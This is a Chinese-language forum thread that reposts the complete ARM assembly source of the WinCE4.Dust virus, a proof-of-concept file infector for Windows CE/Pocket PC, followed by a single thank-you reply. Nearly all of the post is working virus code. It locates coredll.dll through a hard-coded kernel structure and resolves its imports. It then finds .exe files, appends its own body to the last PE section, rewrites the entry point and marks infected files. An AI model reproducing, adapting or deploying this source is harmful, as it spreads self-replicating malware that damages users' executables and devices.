查看完整版本: WinCE.Dust手机病毒源代码

重剑无锋 2007-11-7 00:48

WinCE.Dust手机病毒源代码

[quote]** virus_source **

CODE32

EXPORT  WinMainCRTStartup

AREA .text, CODE, ARM

virus_start

; r11 - base pointer

virus_code_start   PROC

stmdb   sp!, {r0 - r12, lr, pc}

mov    r11, sp

sub    sp, sp, #56     ; make space on the stack

; our stack space gets filled the following way

;    #-56 - udiv

;    #-52 - malloc

;    #-48 - free

; [r11, #-44] - CreateFileForMappingW

;    #-40 - CloseHandle

;    #-36 - CreateFileMappingW

;    #-32 - MapViewOfFile

;    #-28 - UnmapViewOfFile

;    #-24 - FindFirstFileW

;    #-20 - FindNextFileW

;    #-16 - FindClose

;    #-12 - MessageBoxW

;    #- 8 - filehandle

;    #- 4 - mapping handle

bl    get_export_section

; we'll import via ordinals, not function names, because it's

; safe - even linker does that

adr   r2, import_ordinals

mov   r3, sp

bl    lookup_imports

;

bl    ask_user

beq    jmp_to_host     ; are we allowed to spread?

;

mov    r0, #0x23, 28

mov    lr, pc

ldr    pc, [r11, #-52]   ; allocate WFD

mov    r4, r0

cmp    r0, #0

beq    jmp_to_host

; in the following code I use functions FindFirstFile/FindNextFile

; for finding *.exe files in the current directory. But in this

; case I made a big mistake. I didn't realize that WinCE is not

; aware of the current directory and thus we need to use absolute

; pathnames. That's why this code won't find files in the current

; directory, but rather always in root directory. I found this out when I

; was performing final tests, but because the aim was to create a

; proof-of-concept code and because the infection itself was already

; limited by the user's permission, I decided not to correct this

; bug

adr    r0, mask

mov    r1, r4

mov    lr, pc

ldr    pc, [r11, #-24]   ; find first file

cmn    r0, #1

beq    free_wfd

mov    r5, r0

find_files_iterate

ldr    r0, [r4, #28]     ; filesize high

ldr    r1, [r4, #32]     ; filesize low

cmp    r0, #0         ; file too big?

bne    find_next_file

cmp    r1, #0x1000      ; file smaller than 4096 bytes?

addgt   r0, r4, #40      ; gimme file name

blgt   infect_file

find_next_file

mov    r0, r5

mov    r1, r4

mov    lr, pc

ldr    pc, [r11, #-20]    ; find next file

cmp    r0, #0         ; is there any left?

bne    find_files_iterate

mov    r0, r5

mov    lr, pc

ldr    pc, [r11, #-16]

free_wfd

mov    r0, r4

mov    lr, pc

ldr    pc, [r11, #-48]    ; free WFD

;

jmp_to_host

adr    r0, host_ep

ldr    r1, [r0]        ; get host_entry

ldr    r2, [r11, #56]     ; get pc

add    r1, r1, r2       ; add displacement

str    r1, [r11, #56]     ; store it back

mov    sp, r11

ldmia   sp!, {r0 - r12, lr, pc}

ENDP

; we're looking for *.exe files

mask   DCB    "*", 0x0, ".", 0x0, "e", 0x0, "x", 0x0, "e", 0x0, 0x0, 0x0

; host entry point displacement

; in first generation let compiler count it

host_ep

DCD    host_entry - virus_code_start - 8

; WinCE is a UNICODE-only platform and thus we'll use the W ending

; for api names (there are no ANSI versions of these)

import_ordinals

DCW    2008       ; udiv

DCW    1041       ; malloc

DCW    1018       ; free

DCW    1167       ; CreateFileForMappingW

DCW    553        ; CloseHandle

DCW    548        ; CreateFileMappingW

DCW    549        ; MapViewOfFile

DCW    550        ; UnmapViewOfFile

DCW    167        ; FindFirstFileW

DCW    181        ; FindNextFile

DCW    180        ; FindClose

DCW    858        ; MessageBoxW

DCD    0x0

; basic wide string compare

wstrcmp   PROC

wstrcmp_iterate

ldrh    r2, [r0], #2

ldrh    r3, [r1], #2

cmp    r2, #0

cmpeq   r3, #0

moveq   pc, lr

cmp    r2, r3

beq    wstrcmp_iterate

mov    pc, lr

ENDP

; on theWin32 platform, almost all important functions were located in the

; kernel32.dll library (and if they weren't, the LoadLibrary/GetProcAddresss pair

; was). The first infectors had a hardcoded imagebase of this dll and

; later they imported needed functions by hand from it. This

; turned out to be incompatible because different Windows versions might

; have different imagebases for kernel32. That's why more or less

; sophisticated methods were found that allowed coding in a

; compatible way. One of these methods is scanning memory for known values

; located in PE file header ("MZ") if the address inside the module is

; given. Because the function inside kernel32 calls the EntryPoint of

; every Win32 process, we've got this address. Then comparing the word

; on and aligned address (and decrementing it) against known values is

; enough to locate the imagebase. If this routine is even covered

; with SEH (Structured Exception Handling) everything is safe.

; I wanted to use this method on WinCE too, but I hit the wall.

; Probably to save memory space, there are no headers

; before the first section of the loaded module. There is thus no

; "MZ" value and scanning cannot be used even we have the address

; inside coredll.dll (lr registr on our entrypoint). Moreover, we

; cannot use SEH either, because SEH handlers get installed with

; the help of a special directory (the exception directory) in the PE file and

; some data before the function starts - this information would have

; to be added while infecting the victim (the exception directory

; would have to be altered) which is of course not impossible -- just

; a little bit impractical to implement in our basic virus.

; That's why I was forced to use a different approach. I looked

; through the Windows CE 3.0 source code (shared source,

; downloadable from Microsoft) and tried to find out how the loader

; performs its task. The Loader needs the pointer to the module's export

; section and its imagebase to be able to import from it. The result was a

; KDataStruct at a hardcoded address accessible from user mode (why Microsoft

; chose to open this loophole, I don't know)

; and mainly it's item aInfo[KINX_MODULES] which is a pointer to a

; list of Module structures. There we can find all needed values

; (name of the module, imagebase and export section RVA). In the

; code that follows I go through this one-way list and look for

; structure describing the coredll.dll module. From this structure I

; get the imagebase and export section RVA (Relative Virtual Address).

; what sounds relatively easy was in the end more work than I

; expected. The problem was to get the offsets in the Module

; structure. The source code and corresponding headers I had were for

; Windows CE 3.0, but I was writing for Windows CE 4.2 (Windows Mobile 2003),

; where the structure is different. I worked it out using the following

; sequence:

; I was able to get the imagebase offset using the trial-and-error

; method - I used the debugger and tried values inside the

; structure that looked like valid pointers. If there was something

; interesting, I did some memory sniffing to realize where I was.

; The export section pointer was more difficult. There is no real

; pointer, just the RVA instead. Adding the imagebase to RVA gives us the

; pointer. That's why I found coredll.dll in memory - namely the

; list of function names in export section that the library exports.

; This list is just a series of ASCIIZ names (you can see this list

; when opening the dll in your favourite hex editor). At the

; beginning of this list there must be a dll name (in this case

; coredll.dll) to which a RVA in the export section header

; points. Substracting the imagebase from the address where the dll

; name starts gave me an RVA of the dll name. I did a simple byte

; search for the byte sequence that together made this RVA value. This

; showed me where the (Export Directory Table).Name Rva is.

; Because this is a known offset within a known structure (which is

; in the beginning of export section), I was able to get

; the export section pointer this way. I again substracted the imagebase to

; get the export section RVA. I looked up this value in the coredll's

; Module structure, which finally gave me the export section RVA

; offset.

; this works on Pocket PC 2003; it works on

; my wince 4.20.0 (build 13252).

; On different versions the structure offsets might be different :-/

; output:

;  r0 - coredll base addr

;  r1 - export section addr

get_export_section   PROC

stmdb   sp!, {r4 - r9, lr}

ldr    r4, =0xffffc800   ; KDataStruct

ldr    r5, =0x324     ; aInfo[KINX_MODULES]

add    r5, r4, r5

ldr    r5, [r5]

; r5 now points to first module

mov    r6, r5

mov    r7, #0

iterate

ldr    r0, [r6, #8]     ; get dll name

adr    r1, coredll

bl    wstrcmp        ; compare with coredll.dll

ldreq   r7, [r6, #0x7c]    ; get dll base

ldreq   r8, [r6, #0x8c]    ; get export section rva

add    r9, r7, r8

beq    got_coredllbase    ; is it what we're looking for?

ldr    r6, [r6, #4]

cmp    r6, #0

cmpne   r6, r5

bne    iterate        ; nope, go on

got_coredllbase

mov    r0, r7

add    r1, r8, r7      ; yep, we've got imagebase

; and export section pointer

ldmia   sp!, {r4 - r9, pc}

ENDP

coredll   DCB    "c", 0x0, "o", 0x0, "r", 0x0, "e", 0x0, "d", 0x0, "l", 0x0, "l", 0x0

DCB    ".", 0x0, "d", 0x0, "l", 0x0, "l", 0x0, 0x0, 0x0

; r0 - coredll base addr

; r1 - export section addr

; r2 - import ordinals array

; r3 - where to store function adrs

lookup_imports   PROC

stmdb   sp!, {r4 - r6, lr}

ldr    r4, [r1, #0x10]    ; gimme ordinal base

ldr    r5, [r1, #0x1c]    ; gimme Export Address Table

add    r5, r5, r0

lookup_imports_iterate

ldrh   r6, [r2], #2     ; gimme ordinal

cmp    r6, #0        ; last value?

subne   r6, r6, r4      ; substract ordinal base

ldrne   r6, [r5, r6, LSL #2] ; gimme export RVA

addne   r6, r6, r0      ; add imagebase

strne   r6, [r3], #4     ; store function address

bne    lookup_imports_iterate

ldmia    sp!, {r4 - r6, pc}

ENDP

; r0 - filename

; r1 - filesize

infect_file   PROC

stmdb   sp!, {r0, r1, r4, r5, lr}

mov    r4, r1

mov    r8, r0

bl    open_file       ; first open the file for mapping

cmn    r0, #1

beq    infect_file_end

str    r0, [r11, #-8]    ; store the handle

mov    r0, r4        ; now create the mapping with

; maximum size == filesize

bl    create_mapping

cmp    r0, #0

beq    infect_file_end_close_file

str    r0, [r11, #-4]    ; store the handle

mov    r0, r4

bl    map_file       ; map the whole file

cmp    r0, #0

beq    infect_file_end_close_mapping

mov    r5, r0

bl    check_header     ; is it file that we can infect?

bne    infect_file_end_unmap_view

ldr    r0, [r2, #0x4c]    ; check the reserved field in

; optional header against

ldr    r1, =0x72617461    ; rata

cmp    r0, r1        ; already infected?

beq    infect_file_end_unmap_view

ldr    r1, [r2, #0x3c]    ; gimme filealignment

adr    r0, virus_start

adr    r2, virus_end     ; compute virus size

sub    r0, r2, r0

mov    r7, r0        ; r7 now holds virus_size

add    r0, r0, r4

bl    _align_        ; add it to filesize and

mov    r6, r0        ; align it to filealignment

; r6 holds the new filesize

mov    r0, r5

mov    lr, pc

ldr    pc, [r11, #-28]    ; UnmapViewOfFile

ldr    r0, [r11, #-4]

mov    lr, pc

ldr    pc, [r11, #-40]    ; close mapping handle

;

mov    r0, r8

bl    open_file       ; reopen the file because via

; closing the mapping handle file

; handle was closed too

cmn    r0, #1

beq    infect_file_end

str    r0, [r11, #-8]

mov    r0, r6        ; create mapping again with the

bl    create_mapping    ; new filesize (with virus appended)

cmp    r0, #0

beq    infect_file_end_close_file

str    r0, [r11, #-4]

mov    r0, r6

bl    map_file       ; map it

cmp    r0, #0

beq    infect_file_end_close_mapping

mov    r5, r0

;

; r5 - mapping base

; r7 - virus_size

ldr    r4, [r5, #0x3c]    ; get PE signature offset

add    r4, r4, r5      ; add the base

ldrh   r1, [r4, #6]     ; get NumberOfSections

sub    r1, r1, #1      ; we want the last section header

; so dec

mov    r2, #0x28       ; multiply with section header size

mul    r0, r1, r2

add    r0, r0, r4      ; add optional header start to displacement

add    r0, r0, #0x78     ; add optional header size

ldr    r1, [r4, #0x74]    ; get number of data directories

mov    r1, r1, LSL #3    ; multiply with sizeof(data_directory)

add    r0, r0, r1      ; add it because section headers

; start after the optional header

; (including data directories)

ldr    r6, [r4, #0x28]    ; gimme entrypoint rva

ldr    r1, [r0, #0x10]    ; get last section's size of rawdata

ldr    r2, [r0, #0x14]    ; and pointer to rawdata

mov    r3, r1

add    r1, r1, r2      ; compute pointer to the first

; byte available for us in the

; last section

; (pointer to rawdata + sizeof rawdata)

mov    r9, r1        ; r9 now holds the pointer

ldr    r8, [r0, #0xc]    ; get RVA of section start

add    r3, r3, r8      ; add sizeof rawdata

str    r3, [r4, #0x28]    ; set entrypoint

sub    r6, r6, r3      ; now compute the displacement so that

; we can later jump back to the host

sub    r6, r6, #8      ; sub 8 because pc points to

; fetched instruction (viz LTORG)

mov    r10, r0

ldr    r0, [r10, #0x10]   ; get size of raw data again

add    r0, r0, r7      ; add virus size

ldr    r1, [r4, #0x3c]

bl    _align_        ; and align

str    r0, [r10, #0x10]   ; store new size of rawdata

str    r0, [r10, #0x8]    ; store new virtual size

ldr    r1, [r10, #0xc]    ; get virtual address of last section

add    r0, r0, r1      ; add size so get whole image size

str    r0, [r4, #0x50]    ; and store it

ldr    r0, =0x60000020    ; IMAGE_SCN_CNT_CODE | MAGE_SCN_MEM_EXECUTE |

; IMAGE_SCN_MEM_READ

ldr    r1, [r10, #0x24]   ; get old section flags

orr    r0, r1, r0      ; or it with our needed ones

str    r0, [r10, #0x24]   ; store new flags

ldr    r0, =0x72617461

str    r0, [r4, #0x4c]    ; store our infection mark

add    r1, r9, r5      ; now we'll copy virus body

mov    r9, r1        ; to space prepared in last section

adr    r0, virus_start

mov    r2, r7

bl    simple_memcpy

adr    r0, host_ep      ; compute number of bytes between

; virus start and host ep

adr    r1, virus_start

sub    r0, r0, r1      ; because we'll store new host_ep

str    r6, [r0, r9]     ; in the copied virus body

infect_file_end_unmap_view

mov    r0, r5

mov    lr, pc        ; unmap the view

ldr    pc, [r11, #-28]

infect_file_end_close_mapping

ldr    r0, [r11, #-4]

mov    lr, pc        ; close the mapping

ldr    pc, [r11, #-40]

infect_file_end_close_file

ldr    r0, [r11, #-8]

mov    lr, pc        ; close file handle

ldr    pc, [r11, #-40]

infect_file_end

ldmia   sp!, {r0, r1, r4, r5, pc}   ; and return

ENDP

; a little reminiscence of my beloved book - Greg Egan's Permutation City

DCB    "This code arose from the dust of Permutation City"

ALIGN    4

; this function checks whether the file we want to infect is

; suitable

check_header  PROC

ldrh   r0, [r5]

ldr    r1, =0x5a4d      ; MZ?

cmp    r0, r1

bne    infect_file_end_close_mapping

ldr    r2, [r5, #0x3c]

add    r2, r2, r5

ldrh   r0, [r2]

ldr    r1, =0x4550      ; Signature == PE?

cmp    r0, r1

bne    check_header_end

ldrh   r0, [r2, #4]

ldr    r1, =0x1c0      ; Machine == ARM?

cmp    r0, r1

bne    check_header_end

ldrh   r0, [r2, #0x5C]    ; IMAGE_SUBSYSTEM_WINDOWS_CE_GUI ?

cmp    r0, #9

bne    check_header_end

ldrh   r0, [r2, #0x40]

cmp    r0, #4        ; windows ce 4?

check_header_end

mov    pc, lr

ENDP

; r0 - file

open_file   PROC

str    lr, [sp, #-4]!

sub    sp, sp, #0xc

mov    r1, #3

str    r1, [sp]       ; OPEN_EXISTING

mov    r3, #0

mov    r2, #0

str    r3, [sp, #8]

str    r3, [sp, #4]

mov    r1, #3, 2       ; GENERIC_READ | GENERIC_WRITE

mov    lr, pc

ldr    pc, [r11, #-44]    ; call CreateFileForMappingW to

; get the handle suitable for

; CreateFileMapping API

; (on Win32 calling CreateFile is enough)

add    sp, sp, #0xc

ldr    pc, [sp], #4

ENDP

; r0 - max size low

create_mapping   PROC

str    lr, [sp, #-4]!

mov    r1, #0

sub    sp, sp, #8

str    r0, [sp]

str    r1, [sp, #4]

mov    r2, #4        ; PAGE_READWRITE

mov    r3, #0

ldr    r0, [r11, #-8]

mov    lr, pc

ldr    pc, [r11, #-36]

add    sp, sp, #8

ldr    pc, [sp], #4

ENDP

; r0 - bytes to map

map_file   PROC

str    lr, [sp, #-4]!

sub    sp, sp, #4

str    r0, [sp]

ldr    r0, [r11, #-4]

mov    r1, #6        ; FILE_MAP_READ or FILE_MAP_WRITE

mov    r2, #0

mov    r3, #0

mov    lr, pc

ldr    pc, [r11, #-32]

add    sp, sp, #4

ldr    pc, [sp], #4

ENDP

; not optimized (thus simple) mem copy

; r0 - src

; r1 - dst

; r2 - how much

simple_memcpy   PROC

ldr    r3, [r0], #4

str    r3, [r1], #4

subs   r2, r2, #4

bne    simple_memcpy

mov    pc, lr

ENDP

; (r1 - (r1 % r0)) + r0

; r0 - number to align

; r1 - align to what

_align_    PROC

stmdb   sp!, {r4, r5, lr}

mov    r4, r0

mov    r5, r1

mov    r0, r1

mov    r1, r4

; ARM ISA doesn't have the div instruction so we'll have to call

; the coredll's div implementation

mov    lr, pc

ldr    pc, [r11, #-56]    ; udiv

sub    r1, r5, r1

add    r0, r4, r1

ldmia   sp!, {r4, r5, pc}

ENDP

; this function will ask user (via a MessageBox) whether we're

; allowed to spread or not

ask_user   PROC

str    lr, [sp, #-4]!

mov    r0, #0

adr    r1, text

adr    r2, caption

mov    r3, #4

mov    lr, pc

ldr    pc, [r11, #-12]

cmp    r0, #7

ldr    pc, [sp], #4

ENDP

; notice that the strings are encoded in UNICODE

; WinCE4.Dust by Ratter/29A

caption DCB    "W", 0x0, "i", 0x0, "n", 0x0, "C", 0x0, "E", 0x0, "4", 0x0

DCB    ".", 0x0, "D", 0x0, "u", 0x0, "s", 0x0, "t", 0x0, " ", 0x0

DCB    "b", 0x0, "y", 0x0, " ", 0x0, "R", 0x0, "a", 0x0, "t", 0x0

DCB    "t", 0x0, "e", 0x0, "r", 0x0, "/", 0x0, "2", 0x0, "9", 0x0

DCB    "A", 0x0, 0x0, 0x0

ALIGN    4

; Dear User, am I allowed to spread?

text   DCB    "D", 0x0, "e", 0x0, "a", 0x0, "r", 0x0, " ", 0x0, "U", 0x0

DCB    "s", 0x0, "e", 0x0, "r", 0x0, ",", 0x0, " ", 0x0, "a", 0x0

DCB    "m", 0x0, " ", 0x0, "I", 0x0, " ", 0x0, "a", 0x0, "l", 0x0

DCB    "l", 0x0, "o", 0x0, "w", 0x0, "e", 0x0, "d", 0x0, " ", 0x0

DCB    "t", 0x0, "o", 0x0, " ", 0x0, "s", 0x0, "p", 0x0, "r", 0x0

DCB    "e", 0x0, "a", 0x0, "d", 0x0, "?", 0x0, 0x0, 0x0

ALIGN    4

; Just a little greeting to *** firms :-)

DCB    "This is proof of concept code. Also, i wanted to make avers happy."

DCB    "The situation when Pocket PC antiviruses detect only EICAR file had"

DCB    " to end ..."

ALIGN    4

; LTORG is a very important pseudo instruction, which places the

; literal pool "at" the place of its presence. Because the ARM

; instruction length is hardcoded to 32 bits, it is not possible in

; one instruction to load the whole 32bit range into a register (there

; have to be bits to specify the opcode). That's why the literal

; pool was introduced, which in fact is just an array of 32bit values

; that are not possible to load. This data structure is later

; accessed with the aid of the PC (program counter) register that points

; to the currently executed instruction + 8 (+ 8 because ARM processors

; implement a 3 phase pipeline: execute, decode, fetch and the PC

; points not at the instruction being executed but at the instruction being

; fetched). An offset is added to PC so that the final pointer

; points to the right value in the literal pool.

; the pseudo instruction ldr rX, =<value> while compiling gets

; transformed to a mov instruction (if the value is in the range of

; valid values) or it allocates its place in the literal pool and becomes a

; ldr, rX, [pc, #<offset>]

; similarly adr and adrl instructions serve to loading addresses

; to register.

; this approach's advantage is that with minimal effort we can get

; position independent code from the compiler which allows our

; code to run wherever in the address space the loader will load us.

LTORG

virus_end

; the code after virus_end doesn't get copied to victims

WinMainCRTStartup PROC

b     virus_code_start

ENDP

; first generation entry point

host_entry

mvn    r0, #0

mov    pc, lr

END

** virus_source_end **[/quote]

cxy2882990 2007-11-10 23:44

Ok ok thanks.顶顶顶顶顶顶顶顶顶顶顶顶顶顶顶顶顶顶顶顶顶顶顶顶顶地地道道顶顶顶顶顶顶顶顶顶顶顶顶顶顶顶顶顶顶顶顶。
页: [1]
查看完整版本: WinCE.Dust手机病毒源代码
黑客手册